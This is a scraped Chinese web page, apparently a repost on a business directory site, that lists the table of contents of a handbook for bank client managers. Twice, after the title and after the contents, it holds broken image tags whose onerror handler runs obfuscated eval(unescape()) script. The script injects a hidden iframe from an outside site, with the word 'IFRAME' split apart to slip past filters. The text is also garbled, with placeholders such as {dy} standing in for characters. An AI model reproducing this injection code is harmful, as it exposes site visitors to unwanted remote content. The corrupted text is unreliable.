银行客户经理能力提升与场景应对表达技巧实务全书- 信用卡- ballot ...
银行客户经理能力提升与场景应对表达技巧实务全书 [转贴 2010-05-23 19:39:20]   
银行客户经理能力提升与场景应对表达技巧实务全书

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

图书目录:
银行客户经理能力提升与场景应对表达技巧实务全书
{dy}篇银行管理与银行客户经理工作总论
  {dy}章银行客户经理管理
  第二章银行客户经理的工作理念
  第三章银行客户经理的资格认定
  第四章银行管理的目标与银行产品的营销推广
  第五章银行管理者应具备的素质
第二篇银行客户经理工作职责与制度规范
  {dy}章银行客户经理制的建立与推广
  第二章银行客户经理制的优越性
  第三章银行客户经理制与客户经理工作职责
  第四章银行客户经理制的程序
  第五章银行客户经理制度规范与推广要点
第三篇银行客户经理技能素质与修养提升方案
  {dy}章银行客户经理客户经理的基本素质
  第二章客户经理的基础知识
  第三章客户经理的专业知识与文化修养要求
  第四章客户经理的专业技能与提高品格的途径
  第五章银行客户经理客户服务方案设计技能
  第六章银行客户经理财务报表分析技能
  第七章银行客户经理现金流量表编制技能
第四篇客户经理管理与培训考核
  {dy}章客户经理的素质要求
  第二章客户经理基础知识培训
  第三章客户经理的营销技能培训
  第四章客户经理的考核
  第五章客户经理的自我训练
  第六章客户经理的常规管理
第五篇银行客户经理工作方法与领导艺术
{dy}章银行客户经理工作概论
  第二章银行客户经理工作基本方法
  第三章银行客户经理工作现代方法
  第四章银行客户经理工作具体方法
  第五章银行客户经理工作调查研究的方法
  第六章银行客户经理工作决策的方法
  第七章银行客户经理处理与上级人际关系的艺术
  第八章银行客户经理处理与下级人际关系的艺术
  第九章银行客户经理工作激励的方法
  第十章银行客户经理工作心理调适的方法
  第十一章银行客户经理工作{ldz}的思维方法
  第十二章银行客户经理处理突发事件的方法
  第十三章银行客户经理提高工作效率的方法
第六篇银行客户经理管理能力提升方案
  {dy}章银行客户经理组织管理能力提升
  第二章银行客户经理危机管理能力提升
  第三章银行客户经理效率和效能提升
  第四章银行客户经理的自御能力和创造力
第七篇银行客户经理政务与服务礼仪
  {dy}章银行客户经理服务礼仪
  第二章银行客户经理行政礼仪
  第三章银行客户经理公共场所礼仪
  第四章银行客户经理接待礼仪
  第五章银行客户经理社交礼仪
  第六章银行客户经理外事活动礼仪   
  第七章银行客户经理在一些特定场合的礼仪
第八篇银行客户经理语言艺术
  {dy}章银行客户经理概论
  第二章演讲的语言艺术
  第三章劝说的语言艺术
  第四章公关的语言艺术
  第五章谈判的语言艺术
  第六章辩论的语言艺术
第九篇商业银行客户、会员开发管理与客户投诉处理
  {dy}章银行与客户资源开发
  第二章商业银行客户开发意义与任务
  第三章开发客户的流程
  第四章开发客户的技巧与调研方法
  第五章商业银行客户关系维护质量和客户营销管理
  第六章强化合作关系与客户档案管理
  第七章客户经理维护客户关系的技能
  第八章银行客户开发与会员的吸收
  第九章银行各种会员的规范管理
  第十章增强客户满意的服务措施
  第十一章客户投诉管理与预防策略
第十篇银行客户经理与银行内部管理控制评价
  {dy}章内部控制制度的评价稽核及评价标准
  第二章银行内部控制制度
  第三章银行内部控制制度评价标准与方法
  第四章银行内部控制与内部稽核
  第五章银行内部控制体系评价
第十一篇银行客户经理工作规范与客户管理案例实战
  一、大型客户的综合开发
  二、以财务顾问为核心带动全面产品营销
  三、向客户提供资产重组专项财务顾问
  四、筛选优质客户进行重点开发
  五、由浅人深地建立合作关系
  六、通过特色服务培育存款客户
  七、为集团客户建立集团结算网
  八、建立集团结算网并提供授信业务
  九、统一授信额度的营销与切分
  十、逐步与客户建立战略合作关系
  十一、参与客户举办的招标活动
  十二、实行品牌形象与产品交叉销售的良性互动
  十三、运用票据产品连通企业上下游

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【银行客户经理能力提升与场景应对表达技巧实务全书- 信用卡- ballot ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——